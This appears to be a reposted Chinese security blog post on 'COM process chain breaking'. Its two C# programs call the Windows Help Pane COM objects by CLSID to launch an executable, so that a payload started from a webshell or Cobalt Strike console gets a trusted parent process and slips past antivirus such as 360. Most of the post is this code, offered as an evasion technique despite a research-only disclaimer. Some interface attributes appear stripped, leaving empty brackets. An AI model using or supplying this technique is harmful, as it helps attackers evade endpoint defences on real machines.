1.前言
做作业了。参考菊花哥话语:断链技术就是让你的进程链变得可信的一种方法,这样达到的效果就是进程链可信、进程可信,很多人测试杀软,比如白加黑,放到虚拟机里面双击,发现可以上线并且执行一些敏感操作,但是实战当中发现不行了,这是因为双击默认启动的进程链,你的父进程是explorer.exe,但是你在webshell、cs console等地方启动的时候,父进程可能是java.exe、cmd.exe、xxx.exe,那么这样的活,你上线后因为进程链不可信,执行敏感行为是会被弹窗,如你们常说的360核晶,这就是你发现可能你的白加黑测试中乱杀,实战中笑哈哈的一个原因,出现这个问题说明你还是一个低阶脚本小子,可以多学习学习。下面是c#代码,两种API。
2.代码
IHxInteractiveUser
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace TestHelpPanel
{
[ ]
[ ]
[ ]
[ ]
public interface IHxInteractiveUser
{
[ ]
void Execute([MarshalAs(UnmanagedType.LPWStr), In] string pcUrl);
}
class Program
{
static void Main(string[] args)
{
Type tp = Type.GetTypeFromCLSID(new Guid("8CEC58E7-07A1-11D9-B15E-000D56BFE6EE"));
IHxInteractiveUser pn = Activator.CreateInstance(tp) as IHxInteractiveUser;
string file = "file:///D:/Users/xxx/source/repos/gzhfx2/Debug/cccc.exe";
pn.Execute(file);
}
}
}
IHxHelpPaneServer
using System;
using System.Runtime.InteropServices;
namespace TestHelpPanel
{
[ ]
[ ]
[ ]
public interface IHxHelpPaneServer
{
void DisplayTask([MarshalAs(UnmanagedType.BStr)] string bstrUrl);
void DisplayContents([MarshalAs(UnmanagedType.BStr)] string bstrUrl);
void DisplaySearchResults([MarshalAs(UnmanagedType.BStr)] string bstrSearchQuery);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string pcUrl);
}
class Program
{
static void Main(string[] args)
{
Type tp = Type.GetTypeFromCLSID(new Guid("8CEC58AE-07A1-11D9-B15E-000D56BFE6EE"));
IHxHelpPaneServer helpPane = Activator.CreateInstance(tp) as IHxHelpPaneServer;
string fileUrl = "file:///D:/Users/xxx/source/repos/gzhfx2/Debug/cccc.exe";
helpPane.Execute(fileUrl);
}
原文始发于微信公众号(小黑说安全):COM进程断链
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论